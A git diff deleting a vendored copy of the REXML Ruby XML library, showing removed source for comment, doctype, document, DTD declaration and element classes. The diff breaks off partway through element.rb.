-		# other::
-		#   Must be a Parent object.  If this object is the same object as the
-		#   existing parent of this child, no action is taken. Otherwise, this
-		#   child is removed from the current parent (if one exists), and is added
-		#   to the new parent.
-		# Returns:: The parent added
-		def parent=( other )
-			return @parent if @parent == other
-			@parent.delete self if defined? @parent and @parent
-			@parent = other
-		end
-
-		alias :next_sibling :next_sibling_node
-		alias :previous_sibling :previous_sibling_node
-
-		# Sets the next sibling of this child.  This can be used to insert a child
-		# after some other child.
-		#  a = Element.new("a")
-		#  b = a.add_element("b")
-		#  c = Element.new("c")
-		#  b.next_sibling = c
-		#  # => <a><b/><c/></a>
-		def next_sibling=( other )
-		  parent.insert_after self, other
-		end
-
-		# Sets the previous sibling of this child.  This can be used to insert a 
-		# child before some other child.
-		#  a = Element.new("a")
-		#  b = a.add_element("b")
-		#  c = Element.new("c")
-		#  b.previous_sibling = c
-		#  # => <a><b/><c/></a>
-		def previous_sibling=(other)
-		  parent.insert_before self, other
-		end
-
-		# Returns:: the document this child belongs to, or nil if this child
-		# belongs to no document
-		def document
-			return parent.document unless parent.nil?
-			nil
-		end
-
-		# This doesn't yet handle encodings
-		def bytes
-			encoding = document.encoding
-
-			to_s
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/comment.rb b/vendor/plugins/rexml/lib/rexml/comment.rb
deleted file mode 100644
index 2b9b4b89..00000000
--- a/vendor/plugins/rexml/lib/rexml/comment.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-require "rexml/child"
-
-module REXML
-	##
-	# Represents an XML comment; that is, text between \<!-- ... -->
-	class Comment < Child
-		include Comparable
-		START = "<!--"
-		STOP = "-->"
-
-		# The content text
-
-		attr_accessor :string
-
-		##
-		# Constructor.  The first argument can be one of three types:
-		# @param first If String, the contents of this comment are set to the 
-		# argument.  If Comment, the argument is duplicated.  If
-		# Source, the argument is scanned for a comment.
-		# @param second If the first argument is a Source, this argument 
-		# should be nil, not supplied, or a Parent to be set as the parent 
-		# of this object
-		def initialize( first, second = nil )
-			#puts "IN COMMENT CONSTRUCTOR; SECOND IS #{second.type}"
-			super(second)
-			if first.kind_of? String
-				@string = first
-			elsif first.kind_of? Comment
-				@string = first.string
-			end
-		end
-
-		def clone
-			Comment.new self
-		end
-
-    # == DEPRECATED
-    # See REXML::Formatters
-    #
-		# output::
-		#	 Where to write the string
-		# indent::
-		#	 An integer.	If -1, no indenting will be used; otherwise, the
-		#	 indentation will be this number of spaces, and children will be
-		#	 indented an additional amount.
-		# transitive::
-		#	 Ignored by this class.	The contents of comments are never modified.
-		# ie_hack::
-		#	 Needed for conformity to the child API, but not used by this class.
-		def write( output, indent=-1, transitive=false, ie_hack=false )
-      Kernel.warn("Comment.write is deprecated.  See REXML::Formatters")
-			indent( output, indent )
-			output << START
-			output << @string
-			output << STOP
-		end
-
-		alias :to_s :string
-
-		##
-		# Compares this Comment to another; the contents of the comment are used
-		# in the comparison.
-		def <=>(other)
-			other.to_s <=> @string
-		end
-
-		##
-		# Compares this Comment to another; the contents of the comment are used
-		# in the comparison.
-		def ==( other )
-			other.kind_of? Comment and
-			(other <=> self) == 0
-		end
-
-    def node_type
-      :comment
-    end
-	end
-end
-#vim:ts=2 sw=2 noexpandtab:
diff --git a/vendor/plugins/rexml/lib/rexml/doctype.rb b/vendor/plugins/rexml/lib/rexml/doctype.rb
deleted file mode 100644
index 35beabc5..00000000
--- a/vendor/plugins/rexml/lib/rexml/doctype.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-require "rexml/parent"
-require "rexml/parseexception"
-require "rexml/namespace"
-require 'rexml/entity'
-require 'rexml/attlistdecl'
-require 'rexml/xmltokens'
-
-module REXML
-  # Represents an XML DOCTYPE declaration; that is, the contents of <!DOCTYPE
-  # ... >.  DOCTYPES can be used to declare the DTD of a document, as well as
-  # being used to declare entities used in the document.
-  class DocType < Parent
-    include XMLTokens
-    START = "<!DOCTYPE"
-    STOP = ">"
-    SYSTEM = "SYSTEM"
-    PUBLIC = "PUBLIC"
-    DEFAULT_ENTITIES = { 
-      'gt'=>EntityConst::GT, 
-      'lt'=>EntityConst::LT, 
-      'quot'=>EntityConst::QUOT, 
-      "apos"=>EntityConst::APOS 
-    }
-
-    # name is the name of the doctype
-    # external_id is the referenced DTD, if given
-    attr_reader :name, :external_id, :entities, :namespaces
-
-    # Constructor
-    #
-    #   dt = DocType.new( 'foo', '-//I/Hate/External/IDs' )
-    #   # <!DOCTYPE foo '-//I/Hate/External/IDs'>
-    #   dt = DocType.new( doctype_to_clone )
-    #   # Incomplete.  Shallow clone of doctype
-    #
-    # +Note+ that the constructor: 
-    #
-    #  Doctype.new( Source.new( "<!DOCTYPE foo 'bar'>" ) )
-    #
-    # is _deprecated_.  Do not use it.  It will probably disappear.
-    def initialize( first, parent=nil )
-      @entities = DEFAULT_ENTITIES
-      @long_name = @uri = nil
-      if first.kind_of? String
-        super()
-        @name = first
-        @external_id = parent
-      elsif first.kind_of? DocType
-        super( parent )
-        @name = first.name
-        @external_id = first.external_id
-      elsif first.kind_of? Array
-        super( parent )
-        @name = first[0]
-        @external_id = first[1]
-        @long_name = first[2]
-        @uri = first[3]
-      elsif first.kind_of? Source
-        super( parent )
-        parser = Parsers::BaseParser.new( first )
-        event = parser.pull
-        if event[0] == :start_doctype
-          @name, @external_id, @long_name, @uri, = event[1..-1]
-        end
-      else
-        super()
-      end
-    end
-
-    def node_type
-      :doctype
-    end
-
-    def attributes_of element
-      rv = []
-      each do |child|
-        child.each do |key,val|
-          rv << Attribute.new(key,val)
-        end if child.kind_of? AttlistDecl and child.element_name == element
-      end
-      rv
-    end
-
-    def attribute_of element, attribute
-      att_decl = find do |child|
-        child.kind_of? AttlistDecl and
-        child.element_name == element and
-        child.include? attribute
-      end
-      return nil unless att_decl
-      att_decl[attribute]
-    end
-
-    def clone
-      DocType.new self
-    end
-
-    # output::
-    #   Where to write the string
-    # indent::
-    #   An integer.  If -1, no indentation will be used; otherwise, the
-    #   indentation will be this number of spaces, and children will be
-    #   indented an additional amount.
-    # transitive::
-    #   Ignored
-    # ie_hack::
-    #   Ignored
-    def write( output, indent=0, transitive=false, ie_hack=false )
-      f = REXML::Formatters::Default.new
-      indent( output, indent )
-      output << START
-      output << ' '
-      output << @name
-      output << " #@external_id" if @external_id
-      output << " #{@long_name.inspect}" if @long_name
-      output << " #{@uri.inspect}" if @uri
-      unless @children.empty?
-        next_indent = indent + 1
-        output << ' ['
-        @children.each { |child|
-          output << "\n"
-          f.write( child, output )
-        }
-        output << "\n]"
-      end
-      output << STOP
-    end
-
-    def context
-      @parent.context
-    end
-
-    def entity( name )
-      @entities[name].unnormalized if @entities[name]
-    end
-
-    def add child
-      super(child)
-      @entities = DEFAULT_ENTITIES.clone if @entities == DEFAULT_ENTITIES
-      @entities[ child.name ] = child if child.kind_of? Entity
-    end
-    
-    # This method retrieves the public identifier identifying the document's 
-    # DTD.
-    #
-    # Method contributed by Henrik Martensson
-    def public
-      case @external_id
-      when "SYSTEM"
-        nil
-      when "PUBLIC"
-        strip_quotes(@long_name)
-      end
-    end
-    
-    # This method retrieves the system identifier identifying the document's DTD
-    #
-    # Method contributed by Henrik Martensson
-    def system
-      case @external_id
-      when "SYSTEM"
-        strip_quotes(@long_name)
-      when "PUBLIC"
-        @uri.kind_of?(String) ? strip_quotes(@uri) : nil
-      end
-    end
-    
-    # This method returns a list of notations that have been declared in the
-    # _internal_ DTD subset. Notations in the external DTD subset are not 
-    # listed.
-    #
-    # Method contributed by Henrik Martensson
-    def notations
-      children().select {|node| node.kind_of?(REXML::NotationDecl)}
-    end
-    
-    # Retrieves a named notation. Only notations declared in the internal
-    # DTD subset can be retrieved.
-    #
-    # Method contributed by Henrik Martensson
-    def notation(name)
-      notations.find { |notation_decl|
-        notation_decl.name == name
-      }
-    end
-    
-    private
-    
-    # Method contributed by Henrik Martensson
-    def strip_quotes(quoted_string)
-      quoted_string =~ /^[\'\"].*[\'\"]$/ ?
-        quoted_string[1, quoted_string.length-2] :
-        quoted_string
-    end
-  end
-
-  # We don't really handle any of these since we're not a validating
-  # parser, so we can be pretty dumb about them.  All we need to be able
-  # to do is spew them back out on a write()
-
-  # This is an abstract class.  You never use this directly; it serves as a
-  # parent class for the specific declarations.
-  class Declaration < Child
-    def initialize src
-      super()
-      @string = src
-    end
-
-    def to_s
-      @string+'>'
-    end
-
-    # == DEPRECATED
-    # See REXML::Formatters
-    #
-    def write( output, indent )
-      output << to_s
-    end
-  end
-  
-  public
-  class ElementDecl < Declaration
-    def initialize( src )
-      super
-    end
-  end
-
-  class ExternalEntity < Child
-    def initialize( src )
-      super()
-      @entity = src
-    end
-    def to_s
-      @entity
-    end
-    def write( output, indent )
-      output << @entity
-    end
-  end
-
-  class NotationDecl < Child
-    attr_accessor :public, :system
-    def initialize name, middle, pub, sys
-      super(nil)
-      @name = name
-      @middle = middle
-      @public = pub
-      @system = sys
-    end
-
-    def to_s
-      "<!NOTATION #@name #@middle#{
-        @public ? ' ' + public.inspect : '' 
-      }#{
-        @system ? ' ' +@system.inspect : ''
-      }>"
-    end
-
-    def write( output, indent=-1 )
-      output << to_s
-    end
-    
-    # This method retrieves the name of the notation.
-    #
-    # Method contributed by Henrik Martensson
-    def name
-      @name
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/document.rb b/vendor/plugins/rexml/lib/rexml/document.rb
deleted file mode 100644
index fe605360..00000000
--- a/vendor/plugins/rexml/lib/rexml/document.rb
+++ /dev/null
@@ -1,209 +0,0 @@
-require "rexml/element"
-require "rexml/xmldecl"
-require "rexml/source"
-require "rexml/comment"
-require "rexml/doctype"
-require "rexml/instruction"
-require "rexml/rexml"
-require "rexml/parseexception"
-require "rexml/output"
-require "rexml/parsers/baseparser"
-require "rexml/parsers/streamparser"
-require "rexml/parsers/treeparser"
-require "rexml/formatters/transitive"
-
-module REXML
-  # Represents a full XML document, including PIs, a doctype, etc.  A
-  # Document has a single child that can be accessed by root().
-  # Note that if you want to have an XML declaration written for a document
-  # you create, you must add one; REXML documents do not write a default
-  # declaration for you.  See |DECLARATION| and |write|.
-  class Document < Element
-	# A convenient default XML declaration.  If you want an XML declaration,
-	# the easiest way to add one is mydoc << Document::DECLARATION
-	# +DEPRECATED+
-	# Use: mydoc << XMLDecl.default
-	DECLARATION = XMLDecl.default
-
-	# Constructor
-	# @param source if supplied, must be a Document, String, or IO. 
-	# Documents have their context and Element attributes cloned.
-	# Strings are expected to be valid XML documents.  IOs are expected
-	# to be sources of valid XML documents.
-	# @param context if supplied, contains the context of the document;
-	# this should be a Hash.
-	def initialize( source = nil, context = {} )
-	  super()
-	  @context = context
-	  return if source.nil?
-	  if source.kind_of? Document
-		@context = source.context
-		super source
-	  else
-		build(  source )
-	  end
-	end
-
-    def node_type
-      :document
-    end
-
-	# Should be obvious
-	def clone
-	  Document.new self
-	end
-
-	# According to the XML spec, a root node has no expanded name
-	def expanded_name
-	  ''
-	  #d = doc_type
-	  #d ? d.name : "UNDEFINED"
-	end
-
-	alias :name :expanded_name
-
-	# We override this, because XMLDecls and DocTypes must go at the start
-	# of the document
-	def add( child )
-	  if child.kind_of? XMLDecl
-		@children.unshift child
-        child.parent = self
-	  elsif child.kind_of? DocType
-        # Find first Element or DocType node and insert the decl right 
-        # before it.  If there is no such node, just insert the child at the
-        # end.  If there is a child and it is an DocType, then replace it.
-        insert_before_index = 0
-        @children.find { |x| 
-          insert_before_index += 1
-          x.kind_of?(Element) || x.kind_of?(DocType)
-        }
-        if @children[ insert_before_index ] # Not null = not end of list
-          if @children[ insert_before_index ].kind_of DocType
-            @children[ insert_before_index ] = child
-          else
-            @children[ index_before_index-1, 0 ] = child
-          end
-        else  # Insert at end of list
-          @children[insert_before_index] = child
-        end
-		child.parent = self
-	  else
-		rv = super
-		raise "attempted adding second root element to document" if @elements.size > 1
-		rv
-	  end
-	end
-	alias :<< :add
-
-	def add_element(arg=nil, arg2=nil)
-	  rv = super
-	  raise "attempted adding second root element to document" if @elements.size > 1
-	  rv
-	end
-
-	# @return the root Element of the document, or nil if this document
-	# has no children.
-	def root
-      elements[1]
-      #self
-      #@children.find { |item| item.kind_of? Element }
-	end
-
-	# @return the DocType child of the document, if one exists,
-	# and nil otherwise.
-	def doctype
-	  @children.find { |item| item.kind_of? DocType }
-	end
-
-	# @return the XMLDecl of this document; if no XMLDecl has been
-	# set, the default declaration is returned.
-	def xml_decl
-	  rv = @children[0]
-      return rv if rv.kind_of? XMLDecl
-      rv = @children.unshift(XMLDecl.default)[0]
-	end
-
-	# @return the XMLDecl version of this document as a String.
-	# If no XMLDecl has been set, returns the default version.
-	def version
-	  xml_decl().version
-	end
-
-	# @return the XMLDecl encoding of this document as a String.
-	# If no XMLDecl has been set, returns the default encoding.
-	def encoding
-	  xml_decl().encoding
-	end
-
-	# @return the XMLDecl standalone value of this document as a String.
-	# If no XMLDecl has been set, returns the default setting.
-	def stand_alone?
-	  xml_decl().stand_alone?
-	end
-
-    # Write the XML tree out, optionally with indent.  This writes out the
-    # entire XML document, including XML declarations, doctype declarations,
-    # and processing instructions (if any are given).
-    #
-    # A controversial point is whether Document should always write the XML
-    # declaration (<?xml version='1.0'?>) whether or not one is given by the
-    # user (or source document).  REXML does not write one if one was not
-    # specified, because it adds unneccessary bandwidth to applications such
-    # as XML-RPC.
-    #
-    # See also the classes in the rexml/formatters package for the proper way
-    # to change the default formatting of XML output
-    #
-    # _Examples_
-    #   Document.new("<a><b/></a>").serialize
-    #
-    #   output_string = ""
-    #   tr = Transitive.new( output_string )
-    #   Document.new("<a><b/></a>").serialize( tr )
-    #
-    # output::
-    #	  output an object which supports '<< string'; this is where the
-    #   document will be written.
-    # indent::
-    #   An integer.  If -1, no indenting will be used; otherwise, the
-    #   indentation will be twice this number of spaces, and children will be
-    #   indented an additional amount.  For a value of 3, every item will be 
-    #   indented 3 more levels, or 6 more spaces (2 * 3). Defaults to -1
-    # trans::
-    #   If transitive is true and indent is >= 0, then the output will be
-    #   pretty-printed in such a way that the added whitespace does not affect
-    #   the absolute *value* of the document -- that is, it leaves the value
-    #   and number of Text nodes in the document unchanged.
-    # ie_hack::
-    #   Internet Explorer is the worst piece of crap to have ever been
-    #   written, with the possible exception of Windows itself.  Since IE is
-    #   unable to parse proper XML, we have to provide a hack to generate XML
-    #   that IE's limited abilities can handle.  This hack inserts a space 
-    #   before the /> on empty tags.  Defaults to false
-    def write( output=$stdout, indent=-1, transitive=false, ie_hack=false )
-      if xml_decl.encoding != "UTF-8" && !output.kind_of?(Output)
-        output = Output.new( output, xml_decl.encoding )
-      end
-      formatter = if indent > -1
-		if transitive
-		  REXML::Formatters::Transitive.new( indent, ie_hack )
-		else
-		  REXML::Formatters::Pretty.new( indent, ie_hack )
-		end
-	  else
-		REXML::Formatters::Default.new( ie_hack )
-	  end
-      formatter.write( self, output )
-	end
-
-		
-	def Document::parse_stream( source, listener )
-	  Parsers::StreamParser.new( source, listener ).parse
-	end
-
-	private
-	def build( source )
-      Parsers::TreeParser.new( source, self ).parse
-	end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/dtd/attlistdecl.rb b/vendor/plugins/rexml/lib/rexml/dtd/attlistdecl.rb
deleted file mode 100644
index e176bb07..00000000
--- a/vendor/plugins/rexml/lib/rexml/dtd/attlistdecl.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require "rexml/child"
-module REXML
-	module DTD
-		class AttlistDecl < Child
-			START = "<!ATTLIST"
-			START_RE = /^\s*#{START}/um
-			PATTERN_RE = /\s*(#{START}.*?>)/um
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/dtd/dtd.rb b/vendor/plugins/rexml/lib/rexml/dtd/dtd.rb
deleted file mode 100644
index 4f735d48..00000000
--- a/vendor/plugins/rexml/lib/rexml/dtd/dtd.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require "rexml/dtd/elementdecl"
-require "rexml/dtd/entitydecl"
-require "rexml/comment"
-require "rexml/dtd/notationdecl"
-require "rexml/dtd/attlistdecl"
-require "rexml/parent"
-
-module REXML
-	module DTD
-		class Parser
-			def Parser.parse( input )
-				case input
-				when String
-					parse_helper input
-				when File
-					parse_helper input.read
-				end
-			end
-
-			# Takes a String and parses it out
-			def Parser.parse_helper( input )
-				contents = Parent.new
-				while input.size > 0
-					case input
-					when ElementDecl.PATTERN_RE
-						match = $&
-						source = $'
-						contents << ElementDecl.new( match )
-					when AttlistDecl.PATTERN_RE
-						matchdata = $~
-						source = $'
-						contents << AttlistDecl.new( matchdata )
-					when EntityDecl.PATTERN_RE
-						matchdata = $~
-						source = $'
-						contents << EntityDecl.new( matchdata )
-					when Comment.PATTERN_RE
-						matchdata = $~
-						source = $'
-						contents << Comment.new( matchdata )
-					when NotationDecl.PATTERN_RE
-						matchdata = $~
-						source = $'
-						contents << NotationDecl.new( matchdata )
-					end
-				end
-				contents
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/dtd/elementdecl.rb b/vendor/plugins/rexml/lib/rexml/dtd/elementdecl.rb
deleted file mode 100644
index c4e620f3..00000000
--- a/vendor/plugins/rexml/lib/rexml/dtd/elementdecl.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "rexml/child"
-module REXML
-	module DTD
-		class ElementDecl < Child
-			START = "<!ELEMENT"
-			START_RE = /^\s*#{START}/um
-			PATTERN_RE = /^\s*(#{START}.*?)>/um
-			PATTERN_RE = /^\s*#{START}\s+((?:[:\w_][-\.\w_]*:)?[-!\*\.\w_]*)(.*?)>/
-			#\s*((((["']).*?\5)|[^\/'">]*)*?)(\/)?>/um, true)
-
-			def initialize match
-				@name = match[1]
-				@rest = match[2]
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/dtd/entitydecl.rb b/vendor/plugins/rexml/lib/rexml/dtd/entitydecl.rb
deleted file mode 100644
index a5f1520f..00000000
--- a/vendor/plugins/rexml/lib/rexml/dtd/entitydecl.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-require "rexml/child"
-module REXML
-	module DTD
-		class EntityDecl < Child
-			START = "<!ENTITY"
-			START_RE = /^\s*#{START}/um
-			PUBLIC = /^\s*#{START}\s+(?:%\s+)?(\w+)\s+PUBLIC\s+((["']).*?\3)\s+((["']).*?\5)\s*>/um
-			SYSTEM = /^\s*#{START}\s+(?:%\s+)?(\w+)\s+SYSTEM\s+((["']).*?\3)(?:\s+NDATA\s+\w+)?\s*>/um
-			PLAIN = /^\s*#{START}\s+(\w+)\s+((["']).*?\3)\s*>/um
-			PERCENT = /^\s*#{START}\s+%\s+(\w+)\s+((["']).*?\3)\s*>/um
-			# <!ENTITY name SYSTEM "...">
-			# <!ENTITY name "...">
-			def initialize src
-				super()
-				md = nil
-				if src.match( PUBLIC )
-					md = src.match( PUBLIC, true )
-					@middle = "PUBLIC"
-					@content = "#{md[2]} #{md[4]}"
-				elsif src.match( SYSTEM )
-					md = src.match( SYSTEM, true )
-					@middle = "SYSTEM"
-					@content = md[2]
-				elsif src.match( PLAIN )
-					md = src.match( PLAIN, true )
-					@middle = ""
-					@content = md[2]
-				elsif src.match( PERCENT )
-					md = src.match( PERCENT, true )
-					@middle = ""
-					@content = md[2]
-				end
-				raise ParseException.new("failed Entity match", src) if md.nil?
-				@name = md[1]
-			end
-
-			def to_s
-				rv = "<!ENTITY #@name "
-				rv << "#@middle " if @middle.size > 0
-				rv << @content
-				rv
-			end
-
-			def write( output, indent )
-        indent( output, indent )
-				output << to_s
-			end
-
-			def EntityDecl.parse_source source, listener
-				md = source.match( PATTERN_RE, true )
-				thing = md[0].squeeze(" \t\n\r")
-				listener.send inspect.downcase, thing 
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/dtd/notationdecl.rb b/vendor/plugins/rexml/lib/rexml/dtd/notationdecl.rb
deleted file mode 100644
index a47ff8f2..00000000
--- a/vendor/plugins/rexml/lib/rexml/dtd/notationdecl.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require "rexml/child"
-module REXML
-	module DTD
-		class NotationDecl < Child
-			START = "<!NOTATION"
-			START_RE = /^\s*#{START}/um
-			PUBLIC = /^\s*#{START}\s+(\w[\w-]*)\s+(PUBLIC)\s+((["']).*?\4)\s*>/um
-			SYSTEM = /^\s*#{START}\s+(\w[\w-]*)\s+(SYSTEM)\s+((["']).*?\4)\s*>/um
-			def initialize src
-				super()
-				if src.match( PUBLIC )
-					md = src.match( PUBLIC, true )
-				elsif src.match( SYSTEM )
-					md = src.match( SYSTEM, true )
-				else
-					raise ParseException.new( "error parsing notation: no matching pattern", src )
-				end
-				@name = md[1]
-				@middle = md[2]
-				@rest = md[3]
-			end
-
-			def to_s
-				"<!NOTATION #@name #@middle #@rest>"
-			end
-
-			def write( output, indent )
-        indent( output, indent )
-				output << to_s
-			end
-
-			def NotationDecl.parse_source source, listener
-				md = source.match( PATTERN_RE, true )
-				thing = md[0].squeeze(" \t\n\r")
-				listener.send inspect.downcase, thing 
-			end
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/element.rb b/vendor/plugins/rexml/lib/rexml/element.rb
deleted file mode 100644
index 91666f6f..00000000
--- a/vendor/plugins/rexml/lib/rexml/element.rb
+++ /dev/null
@@ -1,1246 +0,0 @@
-require "rexml/parent"
-require "rexml/namespace"
-require "rexml/attribute"
-require "rexml/cdata"
-require "rexml/xpath"
-require "rexml/parseexception"
-
-module REXML
-  # An implementation note about namespaces:
-  # As we parse, when we find namespaces we put them in a hash and assign
-  # them a unique ID.  We then convert the namespace prefix for the node
-  # to the unique ID.  This makes namespace lookup much faster for the
-  # cost of extra memory use.  We save the namespace prefix for the
-  # context node and convert it back when we write it.
-  @@namespaces = {}
-
-  # Represents a tagged XML element.  Elements are characterized by
-  # having children, attributes, and names, and can themselves be
-  # children.
-  class Element < Parent
-    include Namespace
-
-    UNDEFINED = "UNDEFINED";		# The default name
-
-    # Mechanisms for accessing attributes and child elements of this
-    # element.
-    attr_reader :attributes, :elements
-    # The context holds information about the processing environment, such as
-    # whitespace handling.
-    attr_accessor :context
-
-    # Constructor
-    # arg:: 
-    # 	if not supplied, will be set to the default value.
-    # 	If a String, the name of this object will be set to the argument.
-    # 	If an Element, the object will be shallowly cloned; name, 
-    # 	attributes, and namespaces will be copied.  Children will +not+ be
-    # 	copied.
-    # parent:: 
-    # 	if supplied, must be a Parent, and will be used as
-    # 	the parent of this object.
-    # context::
-    # 	If supplied, must be a hash containing context items.  Context items
-    # 	include:
-    # * <tt>:respect_whitespace</tt> the value of this is :+all+ or an array of
-    #   strings being the names of the elements to respect
-    #   whitespace for.  Defaults to :+all+.
-    # * <tt>:compress_whitespace</tt> the value can be :+all+ or an array of
-    #   strings being the names of the elements to ignore whitespace on.
-    #   Overrides :+respect_whitespace+.
-    # * <tt>:ignore_whitespace_nodes</tt> the value can be :+all+ or an array
-    #   of strings being the names of the elements in which to ignore
-    #   whitespace-only nodes.  If this is set, Text nodes which contain only
-    #   whitespace will not be added to the document tree.
-    # * <tt>:raw</tt> can be :+all+, or an array of strings being the names of
-    #   the elements to process in raw mode.  In raw mode, special
-    #   characters in text is not converted to or from entities.
-    def initialize( arg = UNDEFINED, parent=nil, context=nil )
-      super(parent)
-
-      @elements = Elements.new(self)
-      @attributes = Attributes.new(self)
-      @context = context
-
-      if arg.kind_of? String
-        self.name = arg
-      elsif arg.kind_of? Element
-        self.name = arg.expanded_name
-        arg.attributes.each_attribute{ |attribute|
-          @attributes << Attribute.new( attribute )
-        }
-        @context = arg.context
-      end
-    end
-
-    def inspect
-      rv = "<#@expanded_name"
-
-      @attributes.each_attribute do |attr|
-        rv << " "
-        attr.write( rv, 0 )
-      end
-
-      if children.size > 0
-        rv << "> ... </>"
-      else
-        rv << "/>"
-      end
-    end
-
-
-    # Creates a shallow copy of self.
-    #   d = Document.new "<a><b/><b/><c><d/></c></a>"
-    #   new_a = d.root.clone
-    #   puts new_a  # => "<a/>"
-    def clone
-      self.class.new self
-    end
-
-    # Evaluates to the root node of the document that this element 
-    # belongs to. If this element doesn't belong to a document, but does
-    # belong to another Element, the parent's root will be returned, until the
-    # earliest ancestor is found.
-    #
-    # Note that this is not the same as the document element.
-    # In the following example, <a> is the document element, and the root
-    # node is the parent node of the document element.  You may ask yourself
-    # why the root node is useful: consider the doctype and XML declaration,
-    # and any processing instructions before the document element... they
-    # are children of the root node, or siblings of the document element.
-    # The only time this isn't true is when an Element is created that is
-    # not part of any Document.  In this case, the ancestor that has no
-    # parent acts as the root node.
-    #  d = Document.new '<a><b><c/></b></a>'
-    #  a = d[1] ; c = a[1][1]
-    #  d.root_node == d   # TRUE
-    #  a.root_node        # namely, d
-    #  c.root_node        # again, d
-    def root_node
-      parent.nil? ? self : parent.root_node
-    end
-
-    def root
-      return elements[1] if self.kind_of? Document
-      return self if parent.kind_of? Document or parent.nil?
-      return parent.root
-    end
-
-    # Evaluates to the document to which this element belongs, or nil if this
-    # element doesn't belong to a document.
-    def document
-      rt = root
-      rt.parent if rt
-    end
-
-    # Evaluates to +true+ if whitespace is respected for this element.  This
-    # is the case if:
-    # 1. Neither :+respect_whitespace+ nor :+compress_whitespace+ has any value
-    # 2. The context has :+respect_whitespace+ set to :+all+ or
-    #    an array containing the name of this element, and 
-    #    :+compress_whitespace+ isn't set to :+all+ or an array containing the 
-    #    name of this element.
-    # The evaluation is tested against +expanded_name+, and so is namespace
-    # sensitive.
-    def whitespace
-      @whitespace = nil
-      if @context
-        if @context[:respect_whitespace]
-          @whitespace = (@context[:respect_whitespace] == :all or
-                         @context[:respect_whitespace].include? expanded_name)
-        end
-        @whitespace = false if (@context[:compress_whitespace] and
-                                (@context[:compress_whitespace] == :all or
-                                 @context[:compress_whitespace].include? expanded_name)
-                               )
-      end
-      @whitespace = true unless @whitespace == false
-      @whitespace
-    end
-
-    def ignore_whitespace_nodes
-      @ignore_whitespace_nodes = false
-      if @context
-        if @context[:ignore_whitespace_nodes]
-          @ignore_whitespace_nodes = 
-            (@context[:ignore_whitespace_nodes] == :all or
-             @context[:ignore_whitespace_nodes].include? expanded_name)
-        end
-      end
-    end
-
-    # Evaluates to +true+ if raw mode is set for this element.  This
-    # is the case if the context has :+raw+ set to :+all+ or
-    # an array containing the name of this element.
-    #
-    # The evaluation is tested against +expanded_name+, and so is namespace
-    # sensitive.
-    def raw
-      @raw = (@context and @context[:raw] and
-              (@context[:raw] == :all or
-               @context[:raw].include? expanded_name))
-               @raw
-    end
-
-    #once :whitespace, :raw, :ignore_whitespace_nodes
-
-    #################################################
-    # Namespaces                                    #
-    #################################################
-
-    # Evaluates to an +Array+ containing the prefixes (names) of all defined
-    # namespaces at this context node.
-    #  doc = Document.new("<a xmlns:x='1' xmlns:y='2'><b/><c xmlns:z='3'/></a>")
-    #  doc.elements['//b'].prefixes # -> ['x', 'y']
-    def prefixes
-      prefixes = []
-      prefixes = parent.prefixes if parent
-      prefixes |= attributes.prefixes
-      return prefixes
-    end
-
-    def namespaces
-      namespaces = {}
-      namespaces = parent.namespaces if parent
-      namespaces = namespaces.merge( attributes.namespaces )
-      return namespaces
-    end
-
-    # Evalutas to the URI for a prefix, or the empty string if no such 
-    # namespace is declared for this element. Evaluates recursively for
-    # ancestors.  Returns the default namespace, if there is one.
-    # prefix:: 
-    #   the prefix to search for.  If not supplied, returns the default
-    #   namespace if one exists
-    # Returns:: 
-    #   the namespace URI as a String, or nil if no such namespace
-    #   exists.  If the namespace is undefined, returns an empty string
-    #  doc = Document.new("<a xmlns='1' xmlns:y='2'><b/><c xmlns:z='3'/></a>")
-    #  b = doc.elements['//b']
-    #  b.namespace           # -> '1'
-    #  b.namespace("y")      # -> '2'
-    def namespace(prefix=nil)
-      if prefix.nil?
-        prefix = prefix()
-      end
-      if prefix == ''
-        prefix = "xmlns"
-      else
-        prefix = "xmlns:#{prefix}" unless prefix[0,5] == 'xmlns'
-      end
-      ns = attributes[ prefix ]
-      ns = parent.namespace(prefix) if ns.nil? and parent
-      ns = '' if ns.nil? and prefix == 'xmlns'
-      return ns
-    end
-
-    # Adds a namespace to this element.
-    # prefix:: 
-    #   the prefix string, or the namespace URI if +uri+ is not
-    #   supplied
-    # uri::    
-    #   the namespace URI.  May be nil, in which +prefix+ is used as
-    #   the URI
-    # Evaluates to: this Element
-    #  a = Element.new("a")
-    #  a.add_namespace("xmlns:foo", "bar" )
-    #  a.add_namespace("foo", "bar")  # shorthand for previous line
-    #  a.add_namespace("twiddle")
-    #  puts a   #-> <a xmlns:foo='bar' xmlns='twiddle'/>
-    def add_namespace( prefix, uri=nil )
-      unless uri
-        @attributes["xmlns"] = prefix
-      else
-        prefix = "xmlns:#{prefix}" unless prefix =~ /^xmlns:/
-        @attributes[ prefix ] = uri
-      end
-      self
-    end
-
-    # Removes a namespace from this node.  This only works if the namespace is
-    # actually declared in this node.  If no argument is passed, deletes the
-    # default namespace.
-    #
-    # Evaluates to: this element
-    #  doc = Document.new "<a xmlns:foo='bar' xmlns='twiddle'/>"
-    #  doc.root.delete_namespace
-    #  puts doc     # -> <a xmlns:foo='bar'/>
-    #  doc.root.delete_namespace 'foo'
-    #  puts doc     # -> <a/>
-    def delete_namespace namespace="xmlns"
-      namespace = "xmlns:#{namespace}" unless namespace == 'xmlns'
-      attribute = attributes.get_attribute(namespace)
-      attribute.remove unless attribute.nil?
-      self
-    end
-
-    #################################################
-    # Elements                                      #
-    #################################################
-
-    # Adds a child to this element, optionally setting attributes in
-    # the element.
-    # element:: 
-    #   optional.  If Element, the element is added.
-    #   Otherwise, a new Element is constructed with the argument (see
-    #   Element.initialize).
-    # attrs:: 
-    #   If supplied, must be a Hash containing String name,value 
